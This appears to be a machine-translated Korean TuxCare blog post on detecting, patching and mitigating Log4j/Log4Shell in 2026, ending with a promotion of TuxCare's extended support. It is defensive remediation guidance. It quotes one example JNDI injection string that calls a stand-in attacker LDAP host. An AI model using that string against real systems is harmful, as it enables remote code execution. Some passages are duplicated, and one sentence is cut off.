Log4j 취약점 해결: 2026년에 시스템을 진단, 패치 및 보호하세요

주요 내용

• 2026년까지 지원이 지속되는 Log4j 취약점 수정 패치는 현재 유지보수 중인 log4j-core 릴리스이며, 2.17.1 버전을 훨씬 넘어선 버전입니다.
• 2021년에 2.15.0이나 2.16.0 버전에서 업데이트를 중단하면, 며칠 뒤에 공개되는 CVE에 여전히 취약한 상태가 됩니다.
• 쉐이딩된 JAR, 기본 이미지, 벤더 어플라이언스 내에 포함된 모든 Log4j 사본을 찾아내는 것이 가장 어려운 부분입니다.

스캐너가 방금 log4j-core를 감지했다면, Log4j 취약점 해결 방법은 간단합니다. log4j-core 와 log4j-api 를 함께 Java 8 또는 그 이상의 버전에서 현재 유지 관리 중인 Log4j 릴리스로 병합해야 합니다. 지금 당장 재컴파일할 수 없나요? JAR 파일에서 JndiLookup 클래스를 JAR에서 삭제하면 Log4Shell의 영향을 당분간 막을 수는 있지만, 이는 단지 시간을 벌 뿐입니다.

이 단락 이후의 내용은 그 요약본에서 생략된 부분을 다룹니다. 목록에 포함되지 않은 인스턴스가 주로 어디에서 발견되는지 알게 될 것입니다. 바로 음영 처리된 JAR 파일, 벤더 어플라이언스, 그리고 아무도 목록에 포함시키지 않은 컨테이너들입니다. 또한 2021년에 2.15.0이나 2.16.0으로 패치를 적용했다고 해서 오늘날까지 보안이 보장되는 것은 아니라는 점과, 다음 유지보수 기간이 될 때까지 손댈 수 없는 Log4j 인스턴스를 어떻게 처리해야 하는지도 알게 될 것입니다.

Log4Shell로 알려진 Log4j 취약점이란 무엇인가요?

Log4Shell, CVE-2021-44228로 추적되는 이 취약점은 Apache Log4j 2의 원격 코드 실행 결함입니다. 이 취약점은 2.0-beta9부터 2.3까지, 2.4부터 2.12.1까지, 그리고 2.13.0부터 2.14.1까지의 버전에 영향을 미치며, CVSS 점수는 10.0입니다. 이보다 더 높은 점수는 없습니다.

The root cause was Log4j’s message-lookup feature, which treated certain substrings inside a logged value as instructions instead of plain text. Drop a string like ${jndi:ldap://attacker-server/a} into any logged field, and a vulnerable Log4j would fire off a JNDI lookup to a server the attacker controls. In plenty of real environments, that lookup ended with the attacker’s code running inside the application. No credentials needed. Nobody had to click anything, and the payload could ride in on something as ordinary as a User-Agent header.

2026년에도 Log4j 취약점 패치가 여전히 중요한 이유

Log4Shell은 약 5년 전 공개되었으며, CISA는 같은 주에 이를 ‘알려진 악용 취약점(KEV)’ 목록에 추가했습니다. 이 취약점은 여전히 사라지지 않고 있습니다. Sonatype의 연구에 따르면 에 따르면 2025년 Maven Central에서 이루어진 Log4j 다운로드 중 약 13%, 즉 약 3억 건 중 4,000만 건이 여전히 Log4Shell에 취약한 버전을 다운로드하고 있는 것으로 나타났습니다. Contrast Security의 조사 결과 공개된 지 3년이 지난 시점에도 .

그 중 일부는 패치를 전혀 적용하지 않은 팀들 때문이기도 합니다. 또한 상당 부분은 사후에 의존성 그래프가 변하는 방식에서 비롯되기도 합니다. 기존 프로젝트 템플릿을 기반으로 새로 생성된 서비스는 해당 템플릿에 고정된 버전을 그대로 상속받습니다. 다른 곳에서 의존성이 변경되면 전이적 해결 방식에 영향을 미쳐 오래된 Log4j 버전이 다시 유입될 수 있습니다. 또한 2021년 12월 이전에 생성된 백업으로 시스템을 복원하면, 이미지가 생성된 당일과 똑같이 취약한 상태로 복구됩니다. 이러한 상황 중 어느 하나만 발생해도, 누군가가 수정 사항을 되돌리기로 결정하지 않았음에도 불구하고 이미 스캔을 통과한 환경에 취약한 버전이 다시 유입될 수 있습니다.

Log4Shell 공격의 작동 원리

이 체인이 짧기 때문에 막대한 피해를 입힌 주된 이유 중 하나입니다. 공격자는 요청 헤더, 사용자 이름, 검색 쿼리 등 애플리케이션이 로깅하는 임의의 필드에 JNDI 조회 문자열을 심습니다. Log4j는 이 문자열을 텍스트로 출력하는 대신 명령어로 해석하며, JVM은 해당 문자열에 명시된 LDAP 또는 RMI 서버로 아웃바운드 연결을 열게 됩니다. 취약점이 악용될 수 있는 환경에서는, 이러한 조회 과정의 결과로 공격자가 제어하는 코드가 로깅 애플리케이션과 동일한 권한으로 실행될 수 있습니다.

CVE-2021-44228을 악용하는 데는 인증이 필요하지 않으며, 애플리케이션이 입력값을 처리하는 데 특별한 작업을 수행할 필요도 없습니다. 해당 문자열이 결국 로그 문장에 도달하기만 하면 됩니다.

Log4j 관련 취약점 추가 발견

Log4Shell 문제는 한 번에 깔끔하게 해결된 것이 아니었습니다. 아파치는 3주도 채 되지 않는 기간 동안 네 차례의 릴리스를 내놓았으며, 각 릴리스는 이전 버전이 남겨둔 취약점을 해결했습니다. 만약 귀사의 팀이 2021년 12월에 한 번 패치를 적용하고 그 후 별다른 조치를 취하지 않았다면, Log4j 취약점 수정 작업이 2.15.0이나 2.16.0 버전에서 멈췄을 가능성이 높으며, 이 두 버전은 여전히 이 표에 나열된 CVE 중 적어도 하나에 노출되어 있습니다.

Java 8의 경우, 2.17.1 버전이 위에서 언급한 Log4j 2의 네 가지 문제를 모두 해결한 첫 번째 릴리스였습니다. Java 7이나 Java 6을 지원하는 팀들도 곤란을 겪지 않았는데, 아파치(Apache)가 동일한 수정 사항을 2.12.4 및 2.3.2버전에 동일한 수정 사항을 적용했기 때문입니다.버전에 동일한 수정 사항을 백포트했기 때문입니다. 이 두 버전은 해당 브랜치에서 출시된 마지막 릴리스였습니다.

하지만 그렇다고 해서 2026년에 2.17.1 버전을 사용하기에 적합한 것은 아닙니다. 아파치(Apache)는 현재 2.17.x 계열 전체를 유지보수 종료 버전으로 분류하고 있으며, 그 이후에 발견된 Log4j 문제에 대한 수정 사항은 유지보수가 진행 중인 2.25.x 및 2.26.x 계열에 반영되고 있습니다.

Log4j 1.x는 이러한 전체적인 발전 흐름에서 벗어난 위치에 있습니다. 이 버전에는 Log4Shell의 기반이 되는 조회 기능이 없지만, 2015년 8월 2015년 8월에 지원이 종료되었으므로, 이 모든 일이 발생하기 수년 전부터 이미 지원이 종료된 상태였기에, 업스트림에서 CVE-2021-4104를 수정할 일은 결코 없을 것입니다. JMSAppender가 구성되지 않았는지 확인하는 것만으로도 해당 취약점을 차단할 수 있습니다. 장기적인 관점에서 현실적인 대안은 1.x 버전에서 마이그레이션하거나, TuxCare의 ELS for Log4j 1.2.x와 같이 유지보수가 이루어지는 빌드를 사용하는 것입니다.

사용 중인 환경에서 Log4j 취약점을 탐지하는 방법

세 가지 점검 항목은 각각 다른 문제를 포착하며, 그중 하나라도 생략하면 나머지 두 가지로는 메울 수 없는 사각지대가 남게 됩니다.

먼저 빌드 매니페스트를 조회하세요

mvn dependency:tree -Dincludes=org.apache.logging.log4j
./gradlew dependencies –configuration runtimeClasspath | grep log4j

이 기능은 빌드 과정에서 해결되는 모든 Log4j 종속성을, 전이적 종속성을 포함하여 모두 표시합니다. 애초에 종속성으로 선언된 적이 없는 벤더 JAR 파일에 포함된 항목은 찾아내지 못합니다.

클래스 자체에 대해 배포된 아티팩트 검색

‘Shaded’ JAR 파일은 패키지의 위치를 변경하거나 메타데이터 스캐너가 의존하는 정보를 제거할 수는 있지만, 바이트코드는 여전히 그 안에 남아 있습니다. 아카이브를 직접 검색하고, 애플리케이션이 실제로 위치한 경로를 검색 대상으로 지정하세요. 전체를 크롤링하여 / 전체를 크롤링하는 것은 속도가 느릴 뿐만 아니라 디스크 I/O에 큰 부담을 줍니다.

find /opt /srv /var/lib ‘(‘ -name “*.jar” -o -name “*.war” -o -name “*.ear” ‘)’ -type f 2>/dev/null |
  while read -r f; do
unzip -l “$f” 2>/dev/null | grep -qE ‘JndiLookup\.class|log4j-core’ && echo “$f”
  done

매니페스트 검색에서 이미 확인되지 않은 모든 검색 결과는 아무도 선언하지 않은 복사본입니다. 예를 들어, 10년 된 WAR 파일, 벤더 어플라이언스, 또는 누군가가 2019년에 빌드한 기본 이미지 등이 이에 해당합니다. 검색 결과가 나온다고 해서 Log4j 2가 취약하다는 뜻이 아니라, 단순히 존재한다는 의미일 뿐이라는 점을 명심하십시오. 패치된 릴리스도 여전히 배포되고 있습니다 JndiLookup.class를 포함하고 있으므로, 티켓을 등록하기 전에 버전을 확인하십시오( pom.properties 파일)의 버전을 확인하십시오. JAR 내부의META-INF/maven 내 JAR 파일에 있는pom.properties파일에 보통 기재되어 있습니다). 컨테이너 이미지 레이어, 셸 접속이 불가능한 어플라이언스, 그리고 여러 단계 깊이로 중첩된 아카이브의 경우, 한 줄짜리 명령어보다는 전용 스캐너가 필요합니다.

실제로 실행 중인 프로그램을 확인하세요

디스크에 저장되어 있지만 절대 로드되지 않는 JAR 파일은, 실행 중인 프로세스 내에서 로드되는 동일한 클래스보다 우선순위가 낮은 문제입니다. 실행 중인 JVM을 확인하여 각 프로세스가 시작 시 실제로 어떤 Log4j를 사용했는지 확인하십시오. 이는 소스 제어에 있는 내용이나 몇 달 전에 이미지에 포함된 내용과 다를 수 있기 때문입니다.

On a host, lsof -p <PID> | grep -i log4j lists the Log4j JARs a running JVM currently has open. That’s good evidence, but it isn’t a complete record of every class the process has loaded, and fat JARs only show up as the outer archive. Pair it with the artifact search above.

참고: Log4j 취약점 수정이 완료되었다고 판단하기 전에, 이 세 가지 검사를 모두 순서대로 실행하십시오. 매니페스트 스캔만으로는 애플리케이션이 깨끗하다고 보고할 수 있지만, 실제로는 공급업체가 번들로 제공한 복사본이 세 개의 디렉터리 건너편에 위치해 있을 수 있습니다.

Log4j 취약점 해결 방법: 단계별 안내

라이브러리 업그레이드 또는 백포트

업그레이드 log4j-core 및 log4j-api 를 함께, 사용자의 Java 런타임을 지원하는 현재 유지보수 중인 Log4j 릴리스로 업그레이드하십시오. Java 8의 경우, 2.17.1이 여기서 다룬 네 가지 CVE를 모두 해결한 첫 번째 릴리스였으나, 해당 버전은 현재 유지보수 종료 상태이므로 이를 2021년의 최소 기준으로 삼고 더 높은 버전을 목표로 하십시오. 버전을 고정하거나 중앙에서 관리하십시오( log4j-bom 를 Maven의 dependencyManagement 를 통해 가져오는 것이 효과적입니다). 이후 스캐너가 표시한 아티팩트뿐만 아니라, 해당 라이브러리를 포함하는 모든 아티팩트를 재빌드하십시오.

일부 인스턴스는 현재 일정상 업그레이드가 불가능합니다. Log4j 1.x의 경우 업스트림에서 제공되는 수정 사항이 전혀 없으며, 일부 애플리케이션은 이전 버전의 Log4j에 의존하고 있어 대대적인 개편 없이는 버전을 크게 올릴 수 없습니다.

바로 그 차이가 바로 그 차이입니다 TuxCare의 Log4j를 위한 ‘Endless Lifecycle Support’ 바로 이 간극을 메우기 위해 설계되었으며, 이에 대해서는 아래에서 더 자세히 다룹니다. 벤더가 번들로 제공하는 버전은 별개의 문제입니다. 어플라이언스나 독점 빌드의 경우, 서명된 빌드나 지원 계약을 위반하지 않고는 수정할 수 없는 경우가 많기 때문에, 해당 수정 사항은 반드시 벤더 측에서 제공해야 합니다.

아직 패치할 수 없는 취약점은 위험을 완화하세요

영향을 받는 Log4j 2 빌드에서 재빌드가 차단된 경우, Apache가 Log4Shell 대응 과정에서 권장한 긴급 완화 조치는 취약점이 있는 클래스를 물리적으로 제거하는 것이었습니다:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

이 설정은 재시작 후에도 유지되며 런타임 구성에 의존하지 않습니다. 이 설정은 CVE-2021-44228 및 CVE-2021-45046과 관련된 JNDI 조회 경로를 차단하지만, CVE-2021-45105의 서비스 거부(DoS) 취약점이나 CVE-2021-44832의 JDBC Appender 문제에는 아무런 효과가 없습니다. the formatMsgNoLookups 플래그는 초기 임시 해결책으로 알려졌으나 2.10 버전 이후에서만 지원되며, CVE-2021-45046에 대해서는 전혀 해결하지 못합니다. 두 방법 모두 업그레이드가 적용될 때까지 시간을 벌어줄 뿐입니다.

실행 중인 시스템에서 수정 사항 확인

이전 섹션에서 설명한 아티팩트 검색을 다시 실행한 다음, 각 실행 중인 JVM 내에서 로드된 버전을 확인하십시오. 레지스트리에 저장된 패치된 빌드 정보는, 두 번 전 배포 시점에 빌드된 이미지를 사용하여 현재 트래픽을 처리하고 있는 컨테이너에 대해서는 아무런 정보를 제공하지 않습니다. 런타임 시 확인한 내용도 기록해 두십시오. 이러한 기록을 통해 해당 문제를 완전히 해결하고, 다음 스캔 시 다시 발견되는 것을 방지할 수 있습니다.

업그레이드가 불가능한 경우

일부 Log4j 배포 환경은 합리적인 기간 내에 유지보수되는 릴리스로 전환할 수 없습니다. 규정 준수 감사를 앞두고 애플리케이션이 동결된 경우나, 현재 팀 구성원 중 누구도 작성하지 않은 코드를 거쳐야만 업그레이드가 가능한 시스템을 생각해 보십시오. 하지만 현 상태를 유지하는 데도 비용이 따릅니다. Log4j 2.14.1은 CVE-2021-44228의 취약 범위 내에 정확히 속하며, 이는 인증 절차 없이 단순히 로그에 기록된 문자열만으로도 악용될 수 있는 CVSS 10.0 등급의 결함입니다.

TuxCare의 Log4j에 대한 ‘Endless Lifecycle Support’ 업스트림에서 더 이상 유지 관리하지 않는 Log4j 버전에 대해 보안 패치가 적용된, 바로 사용 가능한 빌드를 제공합니다. 여기에는 1.2.14부터 1.2.17까지와 2.5, 2.11.0, 2.17.1, 2.17.2와 같은 구버전 2.x 릴리스가 포함됩니다. 2.14.1과 같이 지원 대상에 포함되지 않은 릴리스를 사용 중인 팀은 호환되는 지원 버전으로 전환할 수 있습니다. 이는 여전히 재빌드 및 테스트가 수반되는 버전 변경이지만, 2.25.x로 바로 전환하는 것보다 훨씬 작은 규모의 변경으로 끝날 수 있습니다. 일단 해당 버전으로 전환하면, 대규모 마이그레이션을 귀사의 일정에 맞춰 계획하는 동안 시스템은 지속적으로 보안 수정 사항을 적용받게 됩니다.

수정 사항이 스스로 풀리는 것을 방지하기

한 번 스캔을 통과했다고 해서 문제가 영구적으로 해결된 것은 아닙니다. 몇 가지 습관만 잘 지키면, 이를 유지하는 데 별도의 시간을 들이지 않아도 됩니다.

먼저 다음을 고정하세요 log4j-core 와 log4j-api 를 명시적으로 지정하는 것부터 시작하세요. 상위 POM이나 전이적 의존성이 결정하도록 내버려 두지 마십시오. 그런 다음, 일회성 감사가 아닌 정기적인 작업으로 인벤토리 점검을 설정하십시오. 새로운 서비스, 복원된 백업, 오래된 컨테이너 이미지 등은 모두 의도치 않게 취약한 버전을 다시 불러올 수 있습니다. 일정대로 아티팩트 검색을 실행하고 검색된 버전을 확인하십시오. 왜냐하면 JndiLookup.class 은 패치된 사본도 취약점으로 표시할 수 있기 때문입니다.

가능한 한 애플리케이션 서버의 외부 네트워크 접속을 제한하십시오. Log4Shell의 전형적인 공격 경로는 호스트가 공격자의 LDAP 또는 RMI 서버에 접속하는 데 의존하므로, 아웃바운드 필터링을 적용하면 가장 흔한 공격 체인을 차단할 수 있습니다. 다만, DNS 기반 데이터 유출이나 JNDI 콜백에 의존하지 않는 CVE는 막을 수 없습니다. 이는 다층 방어 전략일 뿐이므로, 패치 적용은 여전히 필수입니다.

마지막으로, EOL(지원 종료) 라이브러리와 런타임을 “버전 업그레이드 필요” 항목과는 별도로 독립된 재고 범주로 분류하십시오. 지원되는 구성 요소는 수정 사항을 적용받을 수 있는 활성 업스트림 경로를 가지고 있습니다. 반면 EOL 구성 요소는 연장된 수명 주기 지원 계약과 같은 조치를 통해 수정 사항이 역포트되는 경우에만 수정 사항을 받을 수 있습니다.

TuxCare를 통해 Log4j 보안 강화하기

Log4j는 어디에나 널리 쓰이면서도 은근히 위험한 것으로 드러난 마지막 라이브러리는 아니겠지만, 대부분의 자바 팀이 이미 한 번쯤은 겪어본 라이브러리입니다. TuxCare의 무한 라이프사이클 지원 는 공식 지원 종료 시점을 지난 Log4j 및 기타 라이브러리와 런타임에 대해서도 보안 패치 지원을 확장하므로, 아직 업그레이드할 수 없는 버전이라 해도 패치 없이 실행해야만 하는 것은 아닙니다. 인벤토리 조사 결과 예정대로 이전할 수 없는 Log4j 인스턴스가 발견된다면, 바로 이 서비스가 해결하기 위해 만들어진 문제입니다.

요약

기사 이름

Log4j 취약점 해결: 2026년에 시스템을 진단, 패치 및 보호하세요

설명

Log4j 취약점을 신속하게 탐지하고 패치하며, Log4Shell 공격으로부터 시스템을 보호하고, 모범 사례와 자동화 솔루션을 통해 보안을 유지하는 방법.

작성자

클라우디아 세하스

게시자 이름

TuxCare

게시자 로고